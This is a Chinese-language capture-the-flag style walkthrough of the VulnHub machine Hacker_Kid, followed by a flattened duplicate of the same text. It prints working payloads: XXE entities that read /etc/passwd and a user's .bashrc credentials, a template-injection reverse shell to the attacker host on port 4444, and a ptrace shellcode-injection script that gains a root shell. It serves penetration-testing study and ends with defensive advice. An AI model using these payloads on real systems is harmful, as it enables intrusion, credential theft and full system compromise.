VnlnHub Hacker_Kid-v1.0.1
字数 1915 2025-08-12 11:34:30

Hacker_Kid-v1.0.1 渗透测试教学文档

靶机概述

  • 靶机名称:Hacker_Kid-v1.0.1
  • 文件类型:虚拟机.ova压缩文件
  • 网络配置:建议使用NAT模式(与Kali攻击机保持一致)
  • 作者提示:关注信息搜集,不需要爆破,每一步都有适当提示

环境搭建

  1. 使用VMware导入.ova文件
  2. 设置网络模式为NAT或桥接(与Kali攻击机一致)
  3. 启动虚拟机

信息搜集

网络扫描

  1. 确定靶机IP:

    • 扫描NAT网段(示例中Kali IP为192.168.52.128)
    • 发现靶机IP为192.168.52.136
  2. 端口扫描:

    nmap -sV 192.168.52.136
    

    发现开放端口:

    • 53/TCP:DNS服务
    • 80/TCP:HTTP服务(Apache 2.4.41)
    • 9999/TCP:HTTP服务(Tornado 6.1)
  3. UDP端口扫描:

    nmap -sU -p 53 192.168.52.136
    

    确认UDP 53端口开放

Web渗透(80端口)

初步分析

  1. 访问http://192.168.52.136

    • 页面提示:"一个黑客小子黑了整个服务器,如果你足够聪明的话,可以取回服务器"
    • 提示:"你挖掘的越深,你发现的越多关于我,dig me挖掘我"
  2. 页面功能测试:

    • 点击"start"按钮跳转到index.html(404)
    • 其他按钮带有#符号(#app.html,#form.html)
    • 去掉#后可以访问app.html和form.html,但功能被破坏
  3. 查看源码发现提示:

    • 使用GET参数page_no浏览页面

参数测试

  1. 添加page_no参数:

    http://192.168.52.136?page_no=1
    
    • 响应提示方法正确
  2. 使用Burp Intruder批量测试page_no参数(1-1000)

    • 发现page_no=21时响应不同
    • 访问page_no=21获得新提示:
      • 黑客小子创建了子域名
      • 其中一个域名为hacker.blackhat.local

DNS信息搜集

  1. 编辑/etc/hosts文件:

    192.168.52.136 hacker.blackhat.local
    
  2. 使用dig工具进行DNS区域传输:

    dig axfr @192.168.52.136 blackhat.local
    
    • 成功获取DNS区域数据(安全配置不当)
    • 发现新域名:
      • hackerkid.blackhat.local
      • www.blackhat.local
  3. 添加新域名到/etc/hosts:

    192.168.52.136 hackerkid.blackhat.local
    192.168.52.136 www.blackhat.local
    
  4. 访问新域名:

    • hackerkid.blackhat.local:注册页面
    • www.blackhat.local:无访问权限

Web渗透(9999端口)

  1. 访问http://192.168.52.136:9999

    • 发现登录界面
    • 尝试admin/admin失败
    • 作者提示不需要暴力破解
  2. 关联hackerkid.blackhat.local的注册功能:

    • 尝试注册账号,提示邮箱不合法
    • 抓包发现数据通过XML格式发送

XXE漏洞利用

  1. 构造XXE payload:

    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    
    • 在email字段引用:&xxe;
    • 成功读取/etc/passwd,发现两个可SSH登录用户
  2. 读取其他文件:

    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>
    
    • Base64解码后获得账号密码
  3. 使用获取的凭据登录9999端口:

    • 用户名:saket
    • 密码:从.bashrc获取的密码
    • 登录成功

表达式注入

  1. 页面提示:"告诉我你的名字"

    • 测试发现name参数
    • 响应中原样显示输入内容
  2. 测试表达式注入:

    {{1+abcxyz}}
    
    • 返回错误,确认存在漏洞
    • 测试有效表达式类型:{{9*9}}被执行
  3. 利用表达式注入获取反向shell:

    • Kali监听:nc -lvnp 4444
    • 构造payload:
      {% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.52.128/4444 0>&1"')}}
      
    • URL编码后作为name参数值
    • 成功获取shell

权限提升

初始提权尝试

  1. sudo提权:

    sudo -l
    
    • 无可利用命令
  2. SUID提权:

    find / -perm -4000 2>/dev/null
    
    • 无可利用的常见SUID文件
  3. 内核提权:

    • 搜索漏洞无果

Linux Capabilities提权

  1. 检查具有capabilities的文件:

    /sbin/getcap -r / 2>/dev/null
    
    • 发现:/usr/bin/python2.7 = cap_sys_ptrace+ep
  2. 利用cap_sys_ptrace能力:

    • 列出root进程:ps -ef | grep root
    • 选择目标进程(示例中PID为782)
  3. 使用Python脚本注入shellcode:

    # inject.py
    import ctypes
    import sys
    import struct
    
    # Macros
    PTRACE_POKETEXT = 4
    PTRACE_GETREGS = 12
    PTRACE_SETREGS = 13
    PTRACE_ATTACH = 16
    PTRACE_DETACH = 17
    
    class user_regs_struct(ctypes.Structure):
        _fields_ = [
            ("r15", ctypes.c_ulonglong),
            # ... 其他寄存器定义
        ]
    
    libc = ctypes.CDLL("libc.so.6")
    pid = int(sys.argv[1])
    
    # 附加到进程
    libc.ptrace(PTRACE_ATTACH, pid, None, None)
    
    # 获取寄存器值
    registers = user_regs_struct()
    libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
    
    # Shellcode(反向连接)
    shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
    
    # 注入shellcode
    for i in xrange(0, len(shellcode), 4):
        shellcode_byte_int = int(shellcode[i:4+i].encode('hex'), 16)
        shellcode_byte_little_endian = struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
        shellcode_byte = int(shellcode_byte_little_endian, 16)
        libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i), shellcode_byte)
    
    # 修改指令指针
    registers.rip += 2
    libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
    
    # 分离进程
    libc.ptrace(PTRACE_DETACH, pid, None, None)
    
  4. 执行注入:

    python2.7 inject.py 782
    
    • 注入成功后开启5600端口
  5. Kali连接获取root shell:

    nc 192.168.52.136 5600
    
    • 成功获得root权限

总结

  1. 渗透路径:

    • 信息搜集 → DNS区域传输 → 子域名发现 → XXE漏洞 → 凭证获取 → 表达式注入 → Capabilities提权
  2. 关键技术点:

    • DNS区域传输漏洞利用
    • XXE漏洞读取系统文件
    • 服务器端模板注入(SSTI)
    • Linux Capabilities提权技术
  3. 防御建议:

    • 正确配置DNS服务器,禁用区域传输
    • 禁用XML外部实体解析
    • 对用户输入进行严格过滤
    • 限制程序的特权能力(Capabilities)
    • 定期更新和修补系统
Hacker_ Kid-v1.0.1 渗透测试教学文档 靶机概述 靶机名称:Hacker_ Kid-v1.0.1 文件类型:虚拟机.ova压缩文件 网络配置:建议使用NAT模式(与Kali攻击机保持一致) 作者提示:关注信息搜集,不需要爆破,每一步都有适当提示 环境搭建 使用VMware导入.ova文件 设置网络模式为NAT或桥接(与Kali攻击机一致) 启动虚拟机 信息搜集 网络扫描 确定靶机IP: 扫描NAT网段(示例中Kali IP为192.168.52.128) 发现靶机IP为192.168.52.136 端口扫描: 发现开放端口: 53/TCP:DNS服务 80/TCP:HTTP服务(Apache 2.4.41) 9999/TCP:HTTP服务(Tornado 6.1) UDP端口扫描: 确认UDP 53端口开放 Web渗透(80端口) 初步分析 访问http://192.168.52.136 页面提示:"一个黑客小子黑了整个服务器,如果你足够聪明的话,可以取回服务器" 提示:"你挖掘的越深,你发现的越多关于我,dig me挖掘我" 页面功能测试: 点击"start"按钮跳转到index.html(404) 其他按钮带有#符号(#app.html,#form.html) 去掉#后可以访问app.html和form.html,但功能被破坏 查看源码发现提示: 使用GET参数page_ no浏览页面 参数测试 添加page_ no参数: 响应提示方法正确 使用Burp Intruder批量测试page_ no参数(1-1000) 发现page_ no=21时响应不同 访问page_ no=21获得新提示: 黑客小子创建了子域名 其中一个域名为hacker.blackhat.local DNS信息搜集 编辑/etc/hosts文件: 使用dig工具进行DNS区域传输: 成功获取DNS区域数据(安全配置不当) 发现新域名: hackerkid.blackhat.local www.blackhat.local 添加新域名到/etc/hosts: 访问新域名: hackerkid.blackhat.local:注册页面 www.blackhat.local:无访问权限 Web渗透(9999端口) 访问http://192.168.52.136:9999 发现登录界面 尝试admin/admin失败 作者提示不需要暴力破解 关联hackerkid.blackhat.local的注册功能: 尝试注册账号,提示邮箱不合法 抓包发现数据通过XML格式发送 XXE漏洞利用 构造XXE payload: 在email字段引用: &xxe; 成功读取/etc/passwd,发现两个可SSH登录用户 读取其他文件: Base64解码后获得账号密码 使用获取的凭据登录9999端口: 用户名:saket 密码:从.bashrc获取的密码 登录成功 表达式注入 页面提示:"告诉我你的名字" 测试发现name参数 响应中原样显示输入内容 测试表达式注入: 返回错误,确认存在漏洞 测试有效表达式类型: {{9*9}} 被执行 利用表达式注入获取反向shell: Kali监听: nc -lvnp 4444 构造payload: URL编码后作为name参数值 成功获取shell 权限提升 初始提权尝试 sudo提权: 无可利用命令 SUID提权: 无可利用的常见SUID文件 内核提权: 搜索漏洞无果 Linux Capabilities提权 检查具有capabilities的文件: 发现: /usr/bin/python2.7 = cap_sys_ptrace+ep 利用cap_ sys_ ptrace能力: 列出root进程: ps -ef | grep root 选择目标进程(示例中PID为782) 使用Python脚本注入shellcode: 执行注入: 注入成功后开启5600端口 Kali连接获取root shell: 成功获得root权限 总结 渗透路径: 信息搜集 → DNS区域传输 → 子域名发现 → XXE漏洞 → 凭证获取 → 表达式注入 → Capabilities提权 关键技术点: DNS区域传输漏洞利用 XXE漏洞读取系统文件 服务器端模板注入(SSTI) Linux Capabilities提权技术 防御建议: 正确配置DNS服务器,禁用区域传输 禁用XML外部实体解析 对用户输入进行严格过滤 限制程序的特权能力(Capabilities) 定期更新和修补系统